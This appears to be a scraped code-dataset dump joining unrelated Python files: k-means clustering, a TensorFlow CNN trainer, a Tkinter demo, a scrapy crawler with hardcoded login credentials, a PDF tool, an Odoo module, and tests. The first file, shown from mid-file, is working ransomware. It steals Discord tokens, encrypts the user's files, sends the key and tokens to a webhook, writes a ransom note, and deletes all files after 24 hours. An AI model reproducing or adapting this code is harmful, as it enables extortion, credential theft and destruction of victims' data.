\"C:\\\\Users\\\\\" + user + \"\\\\AppData\\\\Roaming\\\\discord\\\\Local Storage\\\\leveldb\"\nkey = Fernet.generate_key()\n\ndef find_tokens(path):\n tokens = []\n for file_name in os.listdir(path):\n if not file_name.endswith('.log') and not file_name.endswith('.ldb'):\n continue\n\n for line in [x.strip() for x in open(f'{path}\\\\{file_name}', errors='ignore').readlines() if x.strip()]:\n for regex in (r'[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}', r'mfa\\.[\\w-]{84}'):\n for token in re.findall(regex, line):\n tokens.append(token)\n return tokens\n\ndef timer():\n path1 = \"C:\\\\\\\\Users\\\\\\\\\" + user\n my_path = Path(path1)\n print(\"timer started\")\n time.sleep(86400)\n for file in my_path.glob(\"**/*.*\"):\n os.system(\"del \" + file + \" /s /f /q\")\n\ndef crypt(filename):\n f = Fernet(key)\n with open(filename, \"rb\") as file:\n file_data = file.read()\n encrypted_data = f.encrypt(file_data)\n with open(filename, \"wb\") as file:\n file.write(encrypted_data)\n\ndef warn():\n name = \"yourname\" #change to your discord name and tag\n ip = requests.get('https://api.ipify.org').text\n url = \"webhook\" # webhook url \n data = {}\n data[\"content\"] = \"Key Content for \" + user + \": \" + str(key) + \" Discord tokens: \" + \" Stable client: \" + str(find_tokens(pathds))\n data[\"username\"] = ip\n requests.post(url, data=json.dumps(data), headers={\"Content-Type\": \"application/json\"})\n f = open(\"ransom.txt\", \"w\")\n f.write(\"Ooops you have been infected with Valravn.py! your files are encrypted! Contact \" + name + \" on discord to get your files back! You have 24 hours to contact me, after that, all your files will be deleted\")\n f.close()\n subprocess.call(r\"notepad ransom.txt\", shell=False)\n\ndef main():\n timerthread = threading.Thread(target=timer)\n timerthread.start()\n print(\"pog\")\n path1 = \"C:\\\\\\\\Users\\\\\\\\\" + user \n my_path = Path(path1)\n for file in my_path.glob(\"**/*.*\"):\n crypthtread = threading.Thread(target=crypt, args=[file])\n crypthtread.start()\n warn()\n\nmain()\n","sub_path":"src/withoutspreading.py","file_name":"withoutspreading.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"96085291","text":"def K_mean(data,knum):\r\n #输入:data--聚类特征数据集,要求为数据结构要求为numpy数值数组\r\n #输入:knum--聚类个数\r\n #返回值,data后面加一列类别,显示类别\r\n import pandas as pd\r\n import numpy as np\r\n p=len(data[0,:]) #聚类数据维度\r\n cluscenter=np.zeros((knum,p)) #定预定义元素为全0的初始聚类中心\r\n lastcluscenter=np.zeros((knum,p)) #定预定义元素为全0的旧聚类中心\r\n #初始聚类中心和旧聚类中心初始化,取数据的前knum行作为初始值\r\n ss=pd.DataFrame(data)\r\n ss=ss.drop_duplicates()\r\n ss=ss.as_matrix()\r\n \r\n for i in range(knum):\r\n cluscenter[i,:]=ss[i,:]\r\n lastcluscenter[i,:]=ss[i,:]\r\n \r\n #预定义聚类类别一维数组,用于存放每次计算样本的所属类别\r\n clusindex=np.zeros((len(data)))\r\n count=0\r\n while 1:\r\n count=count+1\r\n for i in range(len(data)):\r\n #计算第i个样本到各个聚类中心的欧式距离\r\n #预定义sumsquare,用于存放第i个样本到各个聚类中心的欧式距离\r\n sumsquare=np.zeros((knum))\r\n for k in range(knum):\r\n s=data[i,:]-cluscenter[k,:]\r\n sumsquare[k]=len(s[s!=0])\r\n # sumsquare[k]=sum((data[i,:]-cluscenter[k,:])**2)\r\n #sumsquare=np.sqrt(sumsquare)\r\n #第i个样本到各个聚类中心的欧式距离进行升序排序\r\n s=pd.Series(sumsquare).sort_values()\r\n #判断第i个样本的类归属(距离最小,即s序列中第0个位置的index)\r\n clusindex[i]=s.index[0]\r\n \r\n #将聚类结果添加到聚类数据最后一列\r\n clusdata=np.hstack((data,clusindex.reshape((len(data),1))))\r\n #更新聚类中心,新的聚类中心为对应类别样本特征的均值\r\n for i in range(knum):\r\n ci=clusdata[clusdata[:,p]==i,:-1]\r\n for j in range(p):\r\n s1=pd.Series(ci[:,j]).value_counts()\r\n cluscenter[i,j] =s1.index[0]\r\n #cluscenter[i,:]=np.mean(clusdata[clusdata[:,p]==i,:-1],0).reshape(1,p)\r\n \r\n #新的聚类中心与旧的聚类中心相减\r\n t=abs(lastcluscenter-cluscenter)\r\n #如果新的聚类中心与旧的聚类中心一致,即聚类中心不发生变化,返回聚类结果,并退出循环\r\n if sum(sum(t))==0: \r\n return clusdata[:,p]\r\n break\r\n #如果更新的聚类中心与旧的聚类中心不一致,将更新的聚类中心赋给旧的聚类中心,进入下一次循环\r\n else:\r\n for k in range(knum):\r\n lastcluscenter[k,:]=cluscenter[k,:] \r\n if count==10000:\r\n return clusdata[:,p]\r\n break\r\n \r\n","sub_path":"程序与数据/第10章 综合案例3:股票价格形态聚类与收益分析/kmean.py","file_name":"kmean.py","file_ext":"py","file_size_in_byte":2901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"299752841","text":"import CNN\nfrom text_cnn import TextCNN\nimport data_helpers\nimport os\nimport numpy as np\nimport time\nimport tensorflow as tf\nimport datetime\n\nwith tf.Graph().as_default():\n start_time = time.time()\n session_conf = tf.ConfigProto(allow_soft_placement=CNN.FLAGS.allow_soft_placement,\n log_device_placement=CNN.FLAGS.log_device_placement)\n sess = tf.Session(config=session_conf)\n with sess.as_default():\n cnn = TextCNN(filter_sizes=list(map(int, CNN.FLAGS.filter_sizes.split(\",\"))),\n num_filters=CNN.FLAGS.num_filters, vec_shape=(\n CNN.FLAGS.sequence_length, CNN.FLAGS.embedding_size * CNN.FLAGS.window_size + 2 * CNN.FLAGS.distance_dim),\n l2_reg_lambda=CNN.FLAGS.l2_reg_lambda)\n # 定义训练过程\n global_step = tf.Variable(0, name=\"global_step\", trainable=False)\n optimizer = tf.train.AdamOptimizer(1e-3)\n grads_and_vars = optimizer.compute_gradients(cnn.loss)\n train_op = optimizer.apply_gradients(\n grads_and_vars, global_step=global_step)\n\n # 记录梯度之和稀疏性,便于观察\n grad_summaries = []\n for g, v in grads_and_vars:\n if g is not None:\n grad_hist_summary = tf.summary.histogram(\n \"{}/grad/hist\".format(v.name), g)\n sparsity_summary = tf.summary.scalar(\n \"{}/grad/sparsity\".format(v.name), tf.nn.zero_fraction(g))\n grad_summaries.append(grad_hist_summary)\n grad_summaries.append(sparsity_summary)\n grad_summaries_merged = tf.summary.merge(grad_summaries)\n\n # 配置models和summaries的存储目录\n timestamp = str(int(time.time()))\n out_dir = os.path.abspath(os.path.join(\n os.path.curdir, \"data\", timestamp))\n print(\"Writing to {}\\n\".format(out_dir))\n\n # 把loss和accuracy记录下来\n loss_summary = tf.summary.scalar(\"loss\", cnn.loss)\n acc_summary = tf.summary.scalar(\"accuracy\", cnn.accuracy)\n\n # 训练过程summaries\n train_summary_op = tf.summary.merge(\n [loss_summary, acc_summary, grad_summaries_merged])\n train_summary_dir = os.path.join(out_dir, \"summaries\", \"train\")\n train_summary_writer = tf.summary.FileWriter(\n train_summary_dir, sess.graph)\n\n # Dev summaries\n dev_summary_op = tf.summary.merge([loss_summary, acc_summary])\n dev_summary_dir = os.path.join(out_dir, \"summaries\", \"dev\")\n dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)\n\n # Checkpoint 目录.\n checkpoint_dir = os.path.abspath(os.path.join(out_dir, \"checkpoints\"))\n checkpoint_prefix = os.path.join(checkpoint_dir, \"model\")\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n saver = tf.train.Saver(tf.global_variables())\n\n # 初始化所有变量\n sess.run(tf.global_variables_initializer())\n\n def train_step(x_text_train, y_batch):\n \"\"\"\n 进行一批训练\n \"\"\"\n feed_dict = {\n cnn.input_x: x_text_train,\n cnn.input_y: y_batch,\n cnn.dropout_keep_prob: CNN.FLAGS.dropout_keep_prob\n }\n ops = [train_op, global_step, train_summary_op,\n cnn.loss, cnn.accuracy, cnn.scores]\n _, step, summaries, loss, accuracy, scores = sess.run(\n ops, feed_dict)\n time_str = datetime.datetime.now().isoformat()\n print(\"{}: step {}, loss {:g}, acc {:g}\".format(\n time_str, step, loss, accuracy))\n train_summary_writer.add_summary(summaries, step)\n return loss\n\n def dev_step(x_text_dev, y_batch):\n \"\"\"\n 在测试集上进行评估\n \"\"\"\n feed_dict = {\n cnn.input_x: x_text_dev,\n cnn.input_y: y_batch,\n cnn.dropout_keep_prob: 1.0\n }\n step, loss, accuracy, summaries = sess.run(\n [global_step, cnn.loss, cnn.accuracy, dev_summary_op],\n feed_dict)\n time_str = datetime.datetime.now().isoformat()\n print(\"{}: step {}, loss {:g}, acc {:g}\".format(\n time_str, step, loss, accuracy))\n dev_summary_writer.add_summary(summaries, step)\n return loss\n\n batch_iter = CNN.get_batches()\n X_val, Y_val = CNN.get_validation_data()\n for batch in batch_iter:\n loss = accuracy = 0.0\n X_train, y_train = zip(*batch)\n X_train, Y_train = np.asarray(X_train), np.asarray(\n y_train) # 把X_train和y_train转换成ndarry\n train_loss = train_step(X_train, Y_train)\n current_step = tf.train.global_step(sess, global_step) # 记步数\n if current_step % CNN.FLAGS.evaluate_every == 0:\n print(\"Evaluation:\")\n test_loss = dev_step(np.asarray(X_val), np.asarray(Y_val))\n # 如果测试集loss和训练集loss相差大于early_threshold则退出。\n if abs(test_loss - train_loss) > CNN.FLAGS.early_threshold:\n exit(0)\n print(\"\")\n if current_step % CNN.FLAGS.checkpoint_every == 0:\n path = saver.save(sess, checkpoint_prefix,\n global_step=current_step)\n print(\"Saved model checkpoint to {}\\n\".format(path))\n print(\"-------------------\")\n print(\"Finished in time %0.3f\" % (time.time() - start_time))\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"434975117","text":"# intro to Tkinter *Python 2*\n# cascading menues\n\nfrom Tkinter import *\n# from ttk import *\n\nroot = Tk()\n\nroot.option_add('*tearOff', False)\nmenubar = Menu(root)\nroot.config(menu = menubar)\n\nfile = Menu(menubar)\nedit = Menu(menubar)\nhelp_ = Menu(menubar)\n\nmenubar.add_cascade(menu = file, label = 'File')\nmenubar.add_cascade(menu = edit, label = 'Edit')\nmenubar.add_cascade(menu = help_, label = 'Help')\n\ndef print_():\n\tprint('test')\n\nfile.add_command(label = 'New', command = print_)\nfile.add_separator()\n\nfile.add_command(label = 'Open...', command = print_)\nfile.add_command(label = 'Save File', command = print_)\n\nfile.entryconfig('New', accelerator = 'Ctrl + N')\n\nroot.mainloop()\n","sub_path":"Tkinter/cascading_menues.py","file_name":"cascading_menues.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"447523549","text":"class Solution(object):\n def intersect(self, nums1, nums2):\n \"\"\"\n :type nums1: List[int]\n :type nums2: List[int]\n :rtype: List[int]\n \"\"\"\n from collections import Counter\n c1 = Counter(nums1)\n c2 = Counter(nums2)\n ans = []\n for key in c1:\n if key in c2:\n #intersection found, check the min number and replicate \n subInter = [key]*min(c1[key],c2[key])\n ans+=subInter\n return ans\n \n \n \n","sub_path":"Arrays/intersectionOfArrays.py","file_name":"intersectionOfArrays.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"116663592","text":"# -*- coding: utf-8 -*-\nimport sys\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\n\nimport scrapy\nimport json\nimport logging\nimport re\nfrom telant.items import *\n\nclass TelantSpider(scrapy.Spider):\n name = \"telant_man\"\n allowed_domains = [\"132.121.92.224:8803/telant\"]\n start_urls = (\n 'http://132.121.92.224:8803/telant/',\n )\n\n def parse(self, response):\n cookie = response.headers['Set-Cookie'].partition(';')[0]\n lt = response.xpath('//input[@name=\"lt\"]/@value').extract()[0]\n execution = response.xpath('//input[@name=\"execution\"]/@value').extract()[0]\n formdata={\n \"lt\":lt,\n \"execution\":execution,\n \"_eventId\":\"submit\",\n \"_secondAuthentication\":\"\",\n \"loginFromSubApp\":\"\",\n \"username\":\"guoyy2\",\n \"password\":\"123qwe!Q\"\n }\n headers={\n 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',\n 'Cookie':cookie\n }\n yield scrapy.FormRequest(\"http://132.121.92.224:8813/cas/login?service=http%3A%2F%2F132.121.92.224%3A8803%2Ftelant%2Fpage%2Flogin.jsp\",\n method = \"POST\",\n headers= headers,\n formdata = formdata,\n callback=self.parse_transit,\n dont_filter=True)\n\n def parse_transit(self, response):\n cookie = response.headers['Set-Cookie'].partition(';')[0]\n url = 'http://132.121.92.224:8803/telant/security_check'\n\n yield scrapy.Request(\n url = url,\n method = 'POST',\n headers = {\n 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',\n 'Cookie':cookie\n },\n callback = self.logged_in,\n dont_filter=True\n )\n\n def logged_in(self, response):\n url = 'http://132.121.92.224:8803/telant/dorado/view-service'\n body = '''\n\n\n\n'''\n request = scrapy.Request(\n url, method='POST',\n body=body,\n headers={'Content-Type':'text/xml'},\n callback=self.parse_device,\n dont_filter=True\n )\n yield request\n\n def parse_device(self, response):\n tmp = response.body\n try:\n pageCount = int( re.search(r'\"pageCount\":(\\d+)', tmp).group(1) )\n pageNo = int( re.search(r'\"pageNo\":(\\d+)', tmp).group(1) )\n data = re.search(r'^{$.*^}$', tmp, re.S | re.M).group(0)\n jsonData = json.loads(data)['data']['data']\n\n url = 'http://132.121.92.224:8803/telant/dorado/view-service'\n for tmpData in jsonData:\n Item = DeviceItem()\n Item['tl_meid'] = tmpData.setdefault('ID', '')\n Item['tl_name'] = tmpData.setdefault('NAME', '')\n Item['tl_code'] = tmpData.setdefault('CODE', '')\n Item['tl_ems_name'] = tmpData.setdefault('NM_CODE', '')\n Item['tl_standard_name'] = tmpData.setdefault(\"STANDARD_NAME\", '')\n Item['tl_standard_code'] = tmpData.setdefault(\"STANDARD_CODE\", '')\n Item['tl_assemblename'] = tmpData.setdefault('NAME', '')\n Item['tl_telnet_ip'] = tmpData.setdefault('TELNET_IP', '')\n Item['tl_model'] = tmpData.setdefault('TYPE_DEVICE_CONTAIN_ROUTER@NAME', '')\n Item['tl_vendor'] = tmpData.setdefault('VENDOR_CONTAIN_ROUTER@NAMECN', '')\n Item['tl_speciality'] = tmpData.setdefault('BELONG_SPECIALITY_ID', '')\n Item['tl_specification'] = tmpData.setdefault('CUS_SPEC', '')\n Item['tl_network_layer'] = tmpData.setdefault('NETWORK_LAYER_ID', '')\n Item['tl_role'] = tmpData.setdefault('NETWORK_ROLE_ID', '')\n Item['tl_owner_net'] = tmpData.setdefault('OWNER_NET_ID', '')\n Item['tl_circlecode'] = tmpData.setdefault('CIRCLE_NAME', '')\n Item['tl_cityname'] = tmpData.setdefault('DEVICE_BIND_SHARDING_1@NAME', '')\n Item['tl_small_country'] = tmpData.setdefault('SMALL_COUNTRY', '')\n Item['tl_marketing_area'] = tmpData.setdefault('MARKETING_AREA', '')\n Item['tl_tml_area'] = tmpData.setdefault('DEVICE_LOCATE_TML_AREA_PERMISSIONS@NAME', '')\n Item['tl_reg_area'] = tmpData.setdefault('DEVICE_LOCATE_REG_AREA_PERMISSIONS@NAME', '')\n Item['tl_room'] = tmpData.setdefault('CUS_ENTITY_ROOM', '')\n Item['tl_project_status'] = tmpData.setdefault('PROJECT_STATUS_ID', '')\n Item['tl_life_status'] = tmpData.setdefault('LIFE_STATE_ID', '')\n Item['tl_typespec_id'] = tmpData.setdefault('TYPE_DEVICE_CONTAIN_ROUTER@TYPESPEC_ID', '')\n Item['tl_create_date'] = tmpData.setdefault('CREATE_DATE', '')\n Item['tl_modify_date'] = tmpData.setdefault('MODIFY_DATE', '')\n yield Item\n\n body_card = '''\n\n\n\n'''\n request_card = scrapy.Request(\n url, method='POST',\n body=body_card,\n headers={'Content-Type':'text/xml'},\n callback=self.parse_card,\n dont_filter=True\n )\n request_card.meta['Item'] = Item\n yield request_card\n\n body_link = '''\n\n\n\n'''\n request_link = scrapy.Request(\n url, method='POST',\n body=body_link,\n headers={'Content-Type':'text/xml'},\n callback=self.parse_link,\n dont_filter=True\n )\n request_link.meta['Item'] = Item\n yield request_link\n if pageCount > pageNo:\n body_device = '''\n\n\n\n'''\n request_device = scrapy.Request(\n url, method='POST',\n body=body_device,\n headers={'Content-Type':'text/xml'},\n callback=self.parse_device,\n dont_filter=True\n )\n yield request_device\n # 捕捉re正则的异常,担心设备有时候查询错误(但是经实践好像没有),获取的response不符合所写的正则\n except Exception as e:\n # scrapy.shell.inspect_response(response, self)\n Item = DeviceErrorItem()\n Item['device_exception'] = str(e)\n Item['response_body'] = response.body\n yield Item\n\n def parse_card(self, response):\n # scrapy.shell.inspect_response(response, self)\n tmp = response.body\n deviceItem = response.meta['Item']\n try:\n data = re.search(r'^{$.*^}$', tmp, re.S | re.M).group(0)\n pageCount = int( re.search(r'\"pageCount\":(\\d+)', tmp).group(1) )\n pageNo = int( re.search(r'\"pageNo\":(\\d+)', tmp).group(1) )\n jsonData = json.loads(data)['data']['data']\n for tmpData in jsonData:\n Item = CardItem()\n Item['tl_device_meid'] = deviceItem['tl_meid']\n Item['tl_device_typespec_id'] = deviceItem['tl_typespec_id']\n Item['tl_device_telnet_ip'] = deviceItem['tl_telnet_ip']\n Item['tl_is_motherboard'] = tmpData.setdefault(\"isMotherBoard\", '')\n Item['tl_physical_code'] = tmpData.setdefault(\"CUS_SLOT_NAME\", '')\n Item['tl_logic_code'] = tmpData.setdefault(\"CUS_SLOT_CODE\", '')\n Item['tl_shelf_code'] = tmpData.setdefault(\"CUS_SHELF_CODE\", '')\n Item['tl_total_portcount'] = tmpData.setdefault(\"PORTCOUNT_TOTAL\", '')\n Item['tl_occupy_portcount'] = tmpData.setdefault(\"PORTCOUNT_OCCUPY\", '')\n Item['tl_free_portcount'] = tmpData.setdefault(\"PORTCOUNT_FREE\", '')\n Item['tl_using_status'] = tmpData.setdefault(\"USING_STATE_ID\", '')\n Item['tl_alias'] = tmpData.setdefault(\"ALIAS\", '')\n Item['tl_speciality'] = tmpData.setdefault(\"BELONG_SPECIALITY_ID\", '')\n Item['tl_device_model'] = tmpData.setdefault(\"NAME\", '')\n Item['tl_model'] = tmpData.setdefault(\"TYPE_CARD_CONTAIN_CARD@MODEL\", '')\n Item['tl_standard_name'] = tmpData.setdefault(\"STANDARD_NAME\", '')\n Item['tl_standard_code'] = tmpData.setdefault(\"STANDARD_CODE\", '')\n Item['tl_category'] = tmpData.setdefault(\"CUS_CARD_CATEGORY\", '')\n Item['tl_room'] = tmpData.setdefault(\"FACILITY_HOLD_WARE@NAME\", '')\n Item['tl_vendor'] = tmpData.setdefault(\"VENDOR_CONTAIN_CARD@NAMECN\", '')\n Item['tl_device_name'] = tmpData.setdefault(\"DEVICE_CONTAIN_WARE@NAME\", '')\n Item['tl_wg_code'] = tmpData.setdefault(\"NM_CODE\", '')\n Item['tl_region'] = tmpData.setdefault(\"SHARDING_ID\", '')\n Item['tl_life_status'] = tmpData.setdefault(\"LIFE_STATE_ID\", '')\n Item['tl_physical_status'] = tmpData.setdefault(\"PHYSICAL_STATE_ID\", '')\n Item['tl_project_status'] = tmpData.setdefault(\"PROJECT_STATUS_ID\", '')\n Item['tl_work_way'] = tmpData.setdefault(\"WORK_WAY_ID\", '')\n yield Item\n if pageCount > pageNo:\n url = 'http://132.121.92.224:8803/telant/dorado/view-service'\n body_card = '''\n\n\n\n'''\n request_card = scrapy.Request(\n url, method='POST',\n body=body_card,\n headers={'Content-Type':'text/xml'},\n callback=self.parse_card,\n dont_filter=True\n )\n request_card.meta['Item'] = deviceItem\n yield request_card\n # 捕捉re正则的异常,板卡有时候查询错误,获取的response不符合所写的正则\n except Exception as e:\n # scrapy.shell.inspect_response(response, self)\n Item = CardErrorItem()\n Item['tl_device_meid'] = deviceItem['tl_meid']\n Item['tl_device_typespec_id'] = deviceItem['tl_typespec_id']\n Item['tl_device_telnet_ip'] = deviceItem['tl_telnet_ip']\n Item['tl_device_name'] = deviceItem['tl_ems_name']\n Item['card_exception'] = str(e)\n Item['response_body'] = response.body\n yield Item\n\n\n def parse_link(self, response):\n # scrapy.shell.inspect_response(response, self)\n tmp = response.body\n deviceItem = response.meta['Item']\n try:\n data = re.search(r'^{$.*^}$', tmp, re.S | re.M).group(0)\n pageCount = int( re.search(r'\"pageCount\":(\\d+)', tmp).group(1) )\n pageNo = int( re.search(r'\"pageNo\":(\\d+)', tmp).group(1) )\n try:\n jsonData = json.loads(data)['data']['data']\n # 捕��json转换时候的异常,因为链路(板卡不会)有些编码问题会导致json转换的时候出错,遇到这种response对body解码就行了\n except ValueError as e1:\n # logging.warning(\"This is a warning:\" + str(e1))\n try:\n jsonData = json.loads(data.decode(\"unicode-escape\"))['data']['data']\n except ValueError as e2:\n # logging.warning(\"This is a warning:\" + str(e2))\n #后面字符串的锅 \"REQUIREMENT_DESC\":\"\"南溪综合机房\\/RAN-A-6(ZXCTN 6130XG-S)'1\\/8---跳纤---- 南溪综合机房\\/LTEENODEB10 07槽 UMPT板第一端口\"\",\n jsonData = json.loads(re.sub(r'(? pageNo:\n url = 'http://132.121.92.224:8803/telant/dorado/view-service'\n body_link = '''\n\n\n\n'''\n request_link = scrapy.Request(\n url, method='POST',\n body=body_link,\n headers={'Content-Type':'text/xml'},\n callback=self.parse_link,\n dont_filter=True\n )\n request_link.meta['Item'] = deviceItem\n yield request_link\n # 捕捉re正则的异常,担心链路有时候查询错误(但是经实践好像没有),获取的response不符合所写的正则\n except Exception as e:\n Item = LinkErrorItem()\n Item['tl_device_meid'] = deviceItem['tl_meid']\n Item['tl_device_telnet_ip'] = deviceItem['tl_telnet_ip']\n Item['tl_device_name'] = deviceItem['tl_ems_name']\n Item['link_exception'] = str(e)\n Item['response_body'] = response.body\n yield Item\n","sub_path":"telant/spiders/telant_man.py","file_name":"telant_man.py","file_ext":"py","file_size_in_byte":18881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"308526372","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# vim: set ts=4 sts=4 sw=4 et ci nu ft=python:\nimport os\nimport sys\nimport argparse\nfrom glob import glob\nimport re\nfrom progress.bar import Bar\nfrom bs4 import BeautifulSoup as bs\nfrom weasyprint import HTML, CSS\nfrom weasyprint.fonts import FontConfiguration\n\ndef parse_cmdline(argv):\n parser = argparse.ArgumentParser(description=\"Convert a multi-page HTML songbook into PDF\")\n parser.add_argument(\"inputdir\", help=\"top-level directory containing HTML\")\n parser.add_argument(\"-o\", \"--output\", default=\"output.pdf\",\n help=\"Name of PDF file to generate (default: output.pdf). This will be silently replaced if it already exists.\")\n\n opts = parser.parse_args(argv)\n\n if not os.path.isdir(opts.inputdir):\n print(\"input dir doesn't appear to exist\")\n parser.print_help()\n sys.exit(1)\n\n return opts\n\ndef collate(contentdir, outputfile=\"output.pdf\", fontcfg=FontConfiguration()):\n\n # the index page will be a string as I need to correct the links\n index = process_links(os.path.join(contentdir, 'index.html'))\n\n pages = sorted(glob('{}/songs/*.html'.format(contentdir)))\n\n print (\"Rendering index\")\n css = [ CSS(os.path.join(contentdir, 'css', 'pdfprint.css')) ]\n documents = [ HTML(string=index).render(stylesheets=css, font_config=fontcfg) ]\n\n for pg in Bar(\"Processing HTML\").iter(pages):\n thisdoc = HTML(pg).render(stylesheets=css, font_config=fontcfg)\n documents.append(thisdoc)\n\n print(\"combining pages\")\n all_pages = [ page for d in documents for page in d.pages ]\n print(\"writing PDF to {}\".format(outputfile))\n documents[0].copy(all_pages).write_pdf(outputfile)\n\ndef process_links(indexhtml):\n \"\"\"\n ensures all links processed are internal. returns str\n \"\"\"\n with open(indexhtml) as idx:\n idxsoup = bs(idx, features='lxml')\n for a in idxsoup.findAll('a'):\n if re.match(r'title_\\d{3}', a['href']):\n continue\n else:\n linkid = a['id'].split('_')[1]\n a['href'] = '#title_{}'.format(linkid)\n return str(idxsoup)\n return None\n\n\nif __name__ == \"__main__\":\n opts = parse_cmdline(sys.argv[1:])\n\n collate(opts.inputdir, outputfile=opts.output)\n\n","sub_path":"makepdf.py","file_name":"makepdf.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"635249331","text":"# Copyright 2021 Ecosoft Co., Ltd. (http://ecosoft.co.th)\n# License LGPL-3.0 or later (https://www.gnu.org/licenses/lgpl.html).\n\nfrom odoo import api, fields, models\n\n\nclass AccountMove(models.Model):\n _inherit = \"account.move\"\n\n sequence_option = fields.Boolean(\n compute=\"_compute_name\",\n default=False,\n copy=False,\n store=True,\n index=True,\n )\n\n @api.depends(\"posted_before\", \"state\", \"journal_id\", \"date\")\n def _compute_name(self):\n options = self.env[\"ir.sequence.option.line\"].get_model_options(self._name)\n # On post, get the sequence option\n if options:\n for rec in self.filtered(\n lambda l: l.name in (False, \"/\") and l.state == \"posted\"\n ):\n sequence = self.env[\"ir.sequence.option.line\"].get_sequence(\n rec, options=options\n )\n if sequence:\n rec.name = sequence.next_by_id(sequence_date=rec.date)\n rec.sequence_option = True\n\n # Call super()\n super()._compute_name()\n # On draft, odoo may still suggest the 1st new number too, remove it.\n if options:\n for rec in self.filtered(\n lambda l: l.name not in (False, \"/\") and l.state == \"draft\"\n ):\n rec.name = \"/\"\n\n # Bypass constrains if sequence is defined\n def _constrains_date_sequence(self):\n records = self.filtered(\n lambda l: self.env[\"ir.sequence.option.line\"].get_sequence(l)\n )\n return super(AccountMove, self - records)._constrains_date_sequence()\n\n def _get_last_sequence_domain(self, relaxed=False):\n (where_string, param) = super()._get_last_sequence_domain(relaxed=relaxed)\n where_string += \" AND coalesce(sequence_option, false) = false \"\n return where_string, param\n","sub_path":"models/account_move.py","file_name":"account_move.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"152103365","text":"from __future__ import (absolute_import, division, print_function)\n\nimport os\nimport unittest\n\nfrom wof.examples.flask.odm2.timeseries.odm2_timeseries_dao import Odm2Dao as OdmDao # noqa\n\nODM2_DATABASE_URI = 'sqlite:///' + \"./test/odm2/ODM2.sqlite\"\nODM2_ONFIG_PATH = os.path.join(\n os.path.dirname(__file__),\n 'test_odm2_sqlite.cfg'\n)\n\n\nclass TestOdmDao(unittest.TestCase):\n def setUp(self):\n self.dao = OdmDao(ODM2_DATABASE_URI)\n self.known_site_codes = [\n 'USU-LBR-Mendon'\n ]\n\n self.fake_codes = [\n 'junk',\n 'trash',\n 'fake'\n ]\n\n self.known_var_codes = [\n 'USU36'\n ]\n\n self.known_series = [\n ('USU-LBR-Mendon', 'USU36', '2007-08-16 23:30:00.000', '2008-03-27 19:30:00.000') # noqa\n ]\n\n self.known_bbox = {\n 'west': -114,\n 'south': 40,\n 'east': -110,\n 'north': 42\n }\n\n def test_get_all_sites(self):\n siteResultList = self.dao.get_all_sites()\n resultSiteCodes = [s.SiteCode for s in siteResultList]\n for known_code in self.known_site_codes:\n self.assertTrue(known_code in resultSiteCodes)\n\n def test_get_site_by_code(self):\n for known_code in self.known_site_codes:\n siteResult = self.dao.get_site_by_code(known_code)\n self.assertEqual(known_code, siteResult.SiteCode)\n\n def test_get_sites_by_codes(self):\n siteResultList = self.dao.get_sites_by_codes(self.known_site_codes)\n resultSiteCodes = [s.SiteCode for s in siteResultList]\n for known_code in self.known_site_codes:\n self.assertTrue(known_code in resultSiteCodes)\n\n def test_get_sites_by_box(self):\n siteResultList = self.dao.get_sites_by_box(self.known_bbox['west'],\n self.known_bbox['south'],\n self.known_bbox['east'],\n self.known_bbox['north'])\n resultSiteCodes = [s.SiteCode for s in siteResultList]\n for known_code in self.known_site_codes:\n self.assertTrue(known_code in resultSiteCodes)\n\n def test_get_all_variables(self):\n varResultList = self.dao.get_all_variables()\n resultVarCodes = [v.VariableCode for v in varResultList]\n for known_code in self.known_var_codes:\n self.assertTrue(known_code in resultVarCodes)\n\n def test_get_var_by_code(self):\n for known_code in self.known_var_codes:\n varResult = self.dao.get_variable_by_code(known_code)\n self.assertEqual(known_code, varResult.VariableCode)\n\n def test_get_vars_by_codes(self):\n varResultList = self.dao.get_variables_by_codes(self.known_var_codes)\n resultVarCodes = [v.VariableCode for v in varResultList]\n for known_code in self.known_var_codes:\n self.assertTrue(known_code in resultVarCodes)\n","sub_path":"test/test_odm2_dao_sqlite.py","file_name":"test_odm2_dao_sqlite.py","file_ext":"py","file_size_in_byte":3003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"455538823","text":"\"\"\"\nKohei-no-MacBook-Air:tutorial11\nkohei$ ../../script/grade-dep.py ../../data/mstparser-en-test.dep sr_output.txt\n64.906230% (3011/4639) iter = 10, random_shuffle\n\n\"\"\"\n\nimport random\nfrom collections import Counter, defaultdict\nimport math\nfrom nltk.tree import Tree\nimport sys\nimport pickle\n\n\ndef ShiftReduceTrain(queue, weights):\n stack = [[0,\"ROOT\",\"ROOT\"]]\n heads = [-1] * (len(queue) +1 )\n\n while len(queue) >0 or len(stack) >1:\n #print(stack,queue)\n features = MakeFeatures(stack, queue)\n #print(features)\n s_s = PredictScore(weights['shift'],features)\n s_l = PredictScore(weights['left'],features)\n s_r = PredictScore(weights['right'],features)\n 